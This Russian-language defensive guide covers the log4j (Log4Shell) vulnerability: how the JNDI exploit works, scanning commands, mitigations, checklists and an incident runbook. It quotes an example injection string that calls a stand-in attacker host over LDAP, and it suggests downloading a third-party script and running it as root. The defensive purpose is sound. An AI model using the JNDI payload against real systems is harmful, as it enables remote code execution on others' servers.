log4j: проверка уязвимости и инструкции по защите

Быстрые ссылки

• Как работает эксплойт?

• Уязвим ли я?

• Как просканировать систему и проверить версии log4j

Как работает эксплойт?

Это одна из самых серьёзных уязвимостей последних лет: уязвимость в библиотеке log4j получила оценку 10.0 по CVSS. Опасность усугубляется тем, что log4j — это не самостоятельное приложение, а широко используемая библиотека, встроенная во множество Java-приложений и продуктов. Вы можете не иметь её в явной установке: она часто присутствует внутри .jar-файлов или приходит в составе пакета другого ПО.

Суть атаки простая: злоумышленник отправляет специально сформированный текст, который затем попадает в систему логирования. Если логируемая строка содержит вызовы для разрешения имен (JNDI), log4j может выполнить удалённый запрос и загрузить код с внешнего сервера. Пример вредоносной строки:

${jndi:ldap://attacker.com/a}

Уязвимая часть — взаимодействие log4j с Java Naming and Directory Interface (JNDI). При разрешении JNDI библиотека может обратиться к внешнему ресурсу, десериализовать данные и загрузить .class-файлы с удалённым кодом. Это даёт атакующему возможность выполнять произвольный код на сервере.

Важно: помимо непосредственной возможности RCE, простой запрос к открытому эндпоинту может раскрыть данные о внутренних машинах и дать дополнительную информацию злоумышленнику.

Уязвим ли я?

Коротко: возможно. Даже если вы думаете, что не используете Java, стоит перепроверить — многие продукты идут с встроенной JVM и сторонними библиотеками.

Факты по патчу и версии:

• Основной патч вышел в версии log4j 2.16.0.
• Некоторые версии JDK/JRE бедствуют с конкретными векторами: JDK > 6u211, 7u201, 8u191 и 11.0.1 (в источнике указаны границы, которые влияют на поведение вектора LDAP). Тем не менее рекомендуется обновлять сам log4j или ПО, которое использует его.

Даже если ваша версия JVM защищена от самого используемого сейчас LDAP-вектора, log4j может быть использован и через другие векторы; поэтому полное обновление — оптимальное решение.

Важно: наличие Java на системе может быть непрямым (например, Elasticsearch, Solr, какие-то агенты мониторинга и пр. часто идут с Java внутри).

Как просканировать систему и проверить версии log4j

Подход — многопараллельный: используйте несколько инструментов и методик, чтобы учесть скрытые и встраиваемые зависимости.

Основные шаги — методология малой группы (mini-методология):

1. Быстрая проверка наличия JVM и Java-процессов.
2. Поиск jar/war/ear/zip-файлов с упоминанием log4j.
3. Проверка используемых зависимостей внутри распределённых пакетов и контейнеров.
4. Сканирование образов контейнеров и артефактов CI/CD.
5. Приоритизация найденных уязвимых экземпляров по бизнес-важности и экспонированию в сеть.

Пример простого скрипта, которым многие пользуются (как в исходном материале). Запускать под root для полного покрытия:

wget https://raw.githubusercontent.com/rubo77/log4j_checker_beta/main/log4j_checker_beta.sh -q

chmod +x log4j_checker_beta.sh

sudo ./log4j_checker_beta.sh

Подсказки и хорошие практики при сканировании:

• Запускайте по крайней мере два независимых скрипта/инструмента, чтобы снизить шанс пропуска.
• Сканируйте образа Docker: ищите слои, содержащие jar-файлы с log4j.
• Сканируйте репозитории артефактов (Nexus, Artifactory) на предмет зависимостей.
• Проверяйте CI/CD пайплайны: возможно, в них используется уязвимый образ или библиотека.

Вот типичный результат: на моём сервере скрипт выявил уязвимость, хотя я не ставил Java явно. Оказалось, что Elasticsearch, запущенный в фоне, включает в себя встроенный OpenJDK и содержит log4j.

Митигирование и исправление: быстрые и постоянные решения

Приоритеты действий:

1. Если возможно — обновите log4j до 2.16.0 везде, где это реально.
2. Если нельзя сразу обновить — примените временный JVM-флаг, который отключает lookup-замены при форматировании сообщений:

-Dlog4j2.formatMsgNoLookups=true

3. При невозможности изменить JVM-флаги или обновить библиотеку — следуйте руководствам вендоров (например, Elasticsearch, Solr, Minecraft-платформы и т.д.) по применению рекомендованных хотфиксов.
4. При подозрении на компрометацию — следуйте инцидентному плану (см. раздел ниже).

Важно: JVM-флаг — временная мера. Он предотвращает большинство текущих эксплойтов, но не является заменой полноценного обновления.

Роли и чек-листы (role-based checklists)

Администратор инфраструктуры:

• Найти все хосты с Java/пакетами, содержащими .jar.
• Запустить сканирование образов контейнеров и артефактов репозиториев.
• Применить JVM-флаг как временную меру к критическим сервисам.
• Координировать обновления с командами приложений и вендорами.

Разработчик / владелец приложения:

• Проверить зависимости в pom.xml / build.gradle и обновить log4j до 2.16.0.
• Пересобрать и переразвернуть артефакты.
• Запустить тесты интеграции и регрессии.

SRE / DevOps:

• Обновить пайплайны CI/CD, образы и артефакты.
• Раскатать фиксы по окружениям тест->стейдж->прод.
• Мониторить логи на аномальные строки, исходящие запросы и внутренние DNS/LDAP-запросы.

Инцидентный план (runbook) и откат

Шаги при обнаружении эксплойта или подозрительной активности:

1. Изолировать пострадавший хост из сети (если возможно) для предотвращения дальнейшего распространения.
2. Снять снимки (snapshots) и логи для последующего анализа (не перезаписывайте логи).
3. Анализ: проверить, были ли исходящие JNDI/LDAP/DNS запросы к неизвестным внешним ресурсам.
4. Провести оперативный патч: установить JVM-флаг и/или обновить log4j.
5. Пересобрать и переустановить ПО из проверенных артефактов.
6. После очистки — вернуть сервер в сеть и наблюдать за поведением в течение наблюдаемого окна.
7. При подтверждённом взломе — провести полного расследование, оценить утечки данных и уведомить заинтересованные стороны.

Откат/rollback:

• Если фикс вызывает регрессии: верните образ/артефакт на предыдущую известную рабочую версию и примените временные мерки (JVM-флаг), затем работайте над корректным исправлением.

Когда mitigations не работают — типичные причины

• Библиотека логирования встроена в проприетарный бинарник или пакет, который нельзя просто заменить.
• ПО использует собственные механизмы загрузки классов, которые обходят стандартные проверки.
• Контейнеры или образы были созданы с уязвимыми слоями и продолжают распространяться через CI.

В таких случаях — изоляция, блокировка исходящего трафика к неизвестным LDAP/LDAPS/HTTP-провайдерам и миграция на проверенные образы — жизненно важны.

Практические сниппеты и пресеты (cheat sheet)

• Быстрый поиск jar с упоминанием log4j в корневой файловой системе:

sudo find / -type f -name "*.jar" -print0 | xargs -0 grep -I "log4j" -l 2>/dev/null

• Поиск внутри контейнеров Docker (по образам):

docker images --format '{{.Repository}}:{{.Tag}} {{.ID}}' | while read name id; do docker run --rm $id sh -c "grep -R --line-number log4j / || true"; done

• Проверка процессов Java:

ps aux | grep java

• Временное применение JVM-флага (пример для systemd-сервиса):

1. Откройте unit-файл сервиса (например, /etc/systemd/system/myservice.service).
2. В строке ExecStart добавьте: -Dlog4j2.formatMsgNoLookups=true
3. Перезапустите: sudo systemctl daemon-reload && sudo systemctl restart myservice

Матрица рисков и меры снижения

• Риск высокой критичности (публично доступный сервис с log4j): блокировка, приоритетное обновление.
• Риск средней критичности (внутренние сервисы, ограниченный доступ): временный JVM-флаг, последующее обновление.
• Риск низкой критичности (архивы/бэкапы): сканирование и план обновления перед восстановлением/развёртыванием.

Митигаторы: обновление, изоляция сервиса, блокирование исходящих портов (LDAP/LDAPS/RMI), фильтрация входящих данных, внедрение WAF-сигнатур.

Совместимость и советы по миграции

• Проверьте совместимость log4j 2.16.0 с текущим стеком: обычно это безопасное минорное обновление, но всегда тестируйте.
• Если продукт поставляется в виде бинарного пакета с вшитой JVM и библиотеками — обратитесь к вендору и следуйте их рекомендациям по безопасному апдейту.
• Обновление библиотек в монорепозиториях может потребовать пересборки всех сервисов; планируйте это и используйте feature-ветки/канарные релизы.

Когда всё исправлено — проверка и мониторинг

• Убедитесь, что больше нет исходящих JNDI/LDAP/DNS-запросов к неизвестным доменам.
• Настройте алерты на аномалии логов и на повторные попытки резолвинга внешних классов.
• Пересмотрите вашу политику SBOM: ведите актуальный список библиотек и зависимостей, чтобы в следующий раз реагировать быстрее.

Краткий глоссарий (одной строкой)

• JNDI — Java Naming and Directory Interface: API для поиска и получения удалённых ресурсов/объектов.
• RCE — Remote Code Execution: удалённое выполнение кода.
• SBOM — Software Bill of Materials: перечень компонентов и зависимостей в ПО.

Короткое объявление (для внутренних каналов, 100–200 слов)

Критическая уязвимость log4j (CVSS 10.0) позволяет удалённо выполнить код через механизмы логирования. Для обеспечения безопасности: 1) немедленно запустите сканы на всех хостах и образах; 2) обновите log4j до 2.16.0 везде, где это возможно; 3) если обновление задерживается — примените JVM-флаг -Dlog4j2.formatMsgNoLookups=true как временную меру; 4) при подозрении на взлом — изолируйте хост и сохраните логи для расследования. Сформируйте план обновлений и приоритетов; команды SRE и разработчики должны координировать развёртывание исправлений.

Итог

• Определите все места, где используется log4j: хосты, контейнеры, артефакты.
• Обновляйте как можно быстрее до log4j 2.16.0 или следуйте руководствам вендоров.
• Используйте JVM-флаг как временную меру при невозможности немедленного обновления.
• Подготовьте и отрепетируйте инцидентный план: слежение, изоляция, анализ и восстановление.

Важно: реагируйте быстро, но планомерно — комбинация сканирования, приоритетов и координации команд даёт наилучшую защиту.